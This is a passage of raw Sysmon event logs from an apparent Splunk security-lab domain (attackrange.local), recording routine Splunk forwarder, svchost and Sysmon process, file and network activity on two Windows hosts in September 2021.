Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000056710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:29.329{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63177-false10.0.1.12-8089- 23542300x800000000000000018163Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.967{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EEA8014D61F03F1CDF1D8DACDDC03690,SHA256=835CD301DFD1C9BA29B7D82A2062B33CDD358B2AE17A709AA392AAED92ED78D8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:32.158{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=BEF144AECA0B7AA5ED27C625679611EA,SHA256=378EA1F8F73FF03049B271B403CB45CAF28857833BC8F0DB437E99E1BCA016E9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018162Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74F0-613B-3F05-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018161Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018160Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018159Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018158Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018157Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018156Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018155Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018154Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018153Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018152Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74F0-613B-3F05-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018151Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.655{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74F0-613B-3F05-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018150Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.656{625C326B-74F0-613B-3F05-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018149Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.639{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3843EA4118434308FA2D93F7804F9098,SHA256=3A5041E4E41C4527835FE85B8D7D429FB888F3864EB8AC0C50681D1B27BA75E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018148Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.639{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6C1636575472A38C75A45A5ECEE460E4,SHA256=0F151297DD7A5D0BF42D1906ED275B02182C90B2E933FEAB429F72523FAD8EE8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018147Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.420{625C326B-74F0-613B-3E05-00000000F101}23963980C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018146Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74F0-613B-3E05-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018145Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018144Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018143Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018142Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018141Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018140Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018139Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018138Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018137Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018136Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 